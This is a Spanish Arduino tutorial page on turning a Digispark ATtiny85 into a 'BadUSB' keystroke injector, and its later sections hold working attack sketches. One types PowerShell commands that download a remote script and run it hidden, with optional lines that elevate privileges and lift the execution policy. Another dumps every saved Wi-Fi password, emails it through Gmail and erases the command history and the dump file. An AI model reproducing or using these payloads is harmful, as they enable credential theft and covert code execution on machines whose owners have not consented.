Tutorial de Arduino en español.
Juan Antonio Villalpando
Volver al índice del tutorial
____________________________
67B.- Attiny85. Digispark. Teclado. Correo. KeyLogger.
_____________________
- Enviar correo con PowerShell ISE.
- Vamos a ver cómo podemos enviar un correo desde nuestro ordenador mediante los código de PowerShell ISE.
- Escribimos nuestro correo de gmail y la clave. Nuestro correo lo escribimos sin poner @gmail.com
- Luego escribimos el correo del destinatario (para hacer pruebas podemos volver a poner nuestro correo para autoenviarnos el mensaje.)
- También podemos adjuntar un archivo, en mi caso he adjuntado un archivo de tipo HTML, que se encuentra en C:\Downloads\index.htm
Correo_PowerShell.ps1 |
$filename = “D:\Downloads\index.htm”
$smtpserver = “smtp.gmail.com”
$msg = new-object Net.Mail.MailMessage
$att = new-object Net.Mail.Attachment($filename)
$smtp = new-object Net.Mail.SmtpClient($smtpServer )
$smtp.EnableSsl = $True
$smtp.Credentials = New-Object System.Net.NetworkCredential(“juan”, “mi_clave”); # Put username without the @GMAIL.com or – @gmail.com
$msg.From = “juan@gmail.com”
$msg.To.Add(”correo_a_enviar@gmail.com”)
$msg.Subject = “Monthly Report”
$msg.Body = “Good Morning, Last month’s LOGINS & GROUPCALLS FOR ALL GIDS IN SYSTEM IS ATTACHED”
$msg.Attachments.Add($att)
$smtp.Send($msg)
|
- En Windows, ejecutamos PowerShell ISE.
- Recibiremos el correo que nos hemos enviado.
____________________________
- Teclado automático.
- El Tiny85 se puede comportar como un teclado.
- Para eso utiliza la librería
DigiKeyboard.h
- Carga este programa en el Attiny85:
Teclado_automatico.ino |
// Juan A. Villalpando
// kio4.com
#include "DigiKeyboard.h"
void setup() {
//empty
}
void loop() {
DigiKeyboard.delay(1000);
DigiKeyboard.print("Hola amigos.");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.print("Esta es la web de kio4.com.");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.print("Si te gusta, colabora.");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;){ /*empty*/ }
}
|
- Abre el Bloc de notas.
- Conecta el Tiny85 estando el Bloc de notas abierto.
- Se escribirá el texto automáticamente.
_______________________________________________
- Correo. PowerShell. Teclado automático.
- Podemos crear un script automáticamente mediante el teclado automático y ejecutar ese script con el PowerShell. El script sería un envío de correo.
- Cuando cargemos el código en el Attiny85 y lo ejecutemos observaremos en el Administrador de dispositivo al Attiny85 actuando como un Dispositivo de teclado HID
- Puedes intentar el siguiente proceso, aunque tendrás que depurarlo un poco.
- Subimos un archivo como el siguiente a nuestro hosting, para más adelante poder bajarlo. Subimos correo.ps1 a nuestro hosting.
- Ese archivo contiene nuestra cuenta de correo con nuestra clave, además de otras informaciones.
- En este caso también tenemos en nuestro ordenador el archivo D:\Downloads\index.htm, es simplemente un archivo de prueba, solo para ver cómo se adjunta un archivo enel corro.
- Si ejecutáramos este archivo en nuestro ordenador, se enviaría un correo como hemos visto en un apartado anterior.
correo.ps1 |
$filename = “D:\Downloads\index.htm”
$smtpserver = “smtp.gmail.com”
$msg = new-object Net.Mail.MailMessage
$att = new-object Net.Mail.Attachment($filename)
$smtp = new-object Net.Mail.SmtpClient($smtpServer )
$smtp.EnableSsl = $True
$smtp.Credentials = New-Object System.Net.NetworkCredential(“juan”, “mi_clave”); # Put username without the @GMAIL.com or – @gmail.com
$msg.From = “juan@gmail.com”
$msg.To.Add(”correo_a_enviar@gmail.com”)
$msg.Subject = “Monthly Report”
$msg.Body = “Good Morning, Last month’s LOGINS & GROUPCALLS FOR ALL GIDS IN SYSTEM IS ATTACHED”
$msg.Attachments.Add($att)
$smtp.Send($msg)
|
- Como acabo de comentar este archivo debe estar en nuestro hosting.
- El Sketch que vamos a realizar a continuación, bajará ese archivo de nuestro hosting y lo ejecutará.
- Este Sketch, abre mediante la tecla "Windows" el Botón de inicio de Windows, esto lo hace mediante la orden: DigiKeyboard.sendKeyStroke (0,128)
- Una vez abierto, escribe en el casillero, "powershell" para ejecutar esa utilidad.
- Además va realizando las órdenes, que consisten en bajar el archivo correo.ps1 a nuestro ordenador, concretamente a C:\Users\nombre\correo.ps1
- Y luego ejecutar ese correo.ps1
- El código es una adaptación de: https://github.com/CedArctic/DigiSpark-Scripts/blob/master/Execute_Powershell_Script/Execute_Powershell_Script.ino
Bajar_y_ejecutar.ino |
#include "DigiKeyboard.h"
void setup() {
}
void loop() {
DigiKeyboard.sendKeyStroke (0);
DigiKeyboard.delay (2000);
DigiKeyboard.sendKeyStroke(KEY_R); // Escribe la letra r, como prueba de que ha empezado
// DigiKeyboard.sendKeyStroke(MOD_GUI_LEFT); // Para Windows 10
DigiKeyboard.sendKeyStroke (0,128); // Para Windows 7, arranca el Botón de inicio de Windows
DigiKeyboard.print("powershell"); // Ejecuta el powershell desde el Botón de inicio.
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(2000);
DigiKeyboard.print("$client = new-object System.Net.WebClient");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("$client.DownloadFile(\"http://kio4.com\", \"correo.ps1\")");
DigiKeyboard.delay(1000); // Baja ese archivo de internet a C:\Users\minombre\correo.ps1
DigiKeyboard.sendKeyStroke(KEY_ENTER);
//DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT | KEY_R); // Para Windows 10
DigiKeyboard.sendKeyStroke (0,128 | KEY_R); // Para Windows 7
DigiKeyboard.delay(750);
//If the system hasn't been configured to run scripts, uncomment the lines bellow
/*
DigiKeyboard.print("powershell Start-Process cmd -Verb runAs");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(750);
DigiKeyboard.sendKeyStroke(MOD_ALT_LEFT, KEY_Y);
DigiKeyboard.delay(750);
DigiKeyboard.print("powershell Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
*/
DigiKeyboard.delay(750);
// DigiKeyboard.print("powershell.exe -windowstyle hidden -File %USERPROFILE%\\script.ps1");
DigiKeyboard.print("powershell.exe -windowstyle hidden -File c:\\users\\juan\\correo.ps1");
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for (;;) {
/*empty*/
}
}
|
- Se basa en la librería DigiKeyboard.h
https://github.com/digistump/DigisparkArduinoIntegration/blob/master/libraries/DigisparkKeyboard/DigiKeyboard.h
- Mediante esta librería podemos hacer que Attiny85 actúe como teclado y pulse automáticamente ciertas teclas.
- Estas teclas se refieren al pulsado de las teclas: Control, Alt, Mayúscula (Shift) y tecla de Window (Win).
- Mediante esta teclas podemos crear atajos para abrir distintas ventanas de Windows.
|
|
# define MOD_CONTROL_LEFT |
|
# define MOD_SHIFT_LEFT |
|
# define MOD_ALT_LEFT |
|
# define MOD_GUI_LEFT |
|
# define MOD_CONTROL_RIGHT |
|
# define MOD_SHIFT_RIGHT |
|
# define MOD_ALT_RIGHT |
|
# define MOD_GUI_RIGHT |
- En vez de utilizar esas definiciones, podemos utilizar su número de tecla, por ejemplo en Windows 7 no funciona MOD_GUI_LEFT para realizar el atajo de la tecla Win y abrir el "Botón de inicio", en este caso he utilizado en el código:
// DigiKeyboard.sendKeyStroke(MOD_GUI_LEFT); // Para Windows 10
DigiKeyboard.sendKeyStroke (0,128); // Para Windows 7, arranca el Botón de inicio de Windows
- El código se basa en abrir la tecla de Window, escribir "powershell" para que se abra el Power Shell de Windows y escribir y ejecutar órdenes automáticas en el Power Shell, las órdenes "principales" que utiliza este código es bajar el archivo correo.ps1 de Internet y ejecutarlo.
- Al ejecutar el archivo:
DigiKeyboard.print("powershell.exe -windowstyle hidden -File c:\\users\\juan\\correo.ps1");
nos podemos encontrar con el problema de que nuestro Windows está configurado por defecto para no ejecutar Scripts, ya que son peligrosos.
- Podemos cambiar esa característica:
Get-ExecutionPolicy (Indica la política actual de ejecuciones, Restricted)
Set-ExecutionPolicy
Unrestricted (Establece la política de restricciones a no-restrigido)
- En el cógido que estamos realizando hay varias líneas para cambiar esta política automáticamente, pero no me ha llegado a funcionar.
____________________________
- Más códigos. Problemas.
- Muchos de estos códigos lo que tratan es de activar el Power Shell de Windows mediante la librería DigiKeyboard.h con sus atajos y pulsaciones de teclas, y ejecutar Scripts.
- Te puedes encontrar con varios problemas, uno de ellos es que la mayoría de los códigos están realizados para Windows 10, si tienes Windows 7 debes adaptar algunos.
- Otro problema, ya mencionado, es que Windows tiene Restringida la ejecución automática de Scripts de Power Point.
- Un tercer problema que te puedes encontrar, es que muchos códigos están realizados para un teclado americano US y se debe establecer el teclado americano para que funcionen, eso se puede realizar en el Panel de control / Cambiar teclados u otros métodos de entradas.
- Aquí tienes más códigos:
https://github.com/CedArctic/DigiSpark-Scripts
____________________________
- Keylogger.
https://www.youtube.com/watch?v=b5E0u4qNH4s
Start.ino |
//This DigiSpark script writes the wireless network credentials to a csv file and emails it.
//Credits to p0wc0w.
#include "DigiKeyboard.h"
void setup() {
}
void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("MODE CON: COLS=15 LINES=1");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("COLOR EF");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"(netsh wlan show profiles)
| Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)}
| Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }}
| Export-Csv temp.csv\""));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(3000);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("MODE CON: COLS=15 LINES=1");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("COLOR EF");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587);
$SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('GMAIL_USERNAME', 'GMAIL_PASSWORD');
$ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = 'SENDER_MAIL'; $ReportEmail.To.Add('RECEIVER_MAIL');
$ReportEmail.Subject = 'DigiSpark Report'; $ReportEmail.Body = 'Attached is your report. - Regards Your Digispark';
$ReportEmail.Attachments.Add('temp.csv'); $SMTPInfo.Send($ReportEmail)\""));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("MODE CON: COLS=15 LINES=1");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("COLOR EF");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"del (Get-PSReadlineOption).HistorySavePath\""));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("MODE CON: COLS=15 LINES=1");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("COLOR EF");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("del temp.csv"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("exit"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;){ /*empty*/ }
}
|
____________________________
- Otros enlaces.
https://tutobasico.com/codigos-ussd/
https://www.hefin.net/noticias/hackeando-android-attiny85/
http://redes-seguridad.blogspot.com/2017/08/shell-reversa-con-bad-usb-casero-bajo.html
_______________________________
|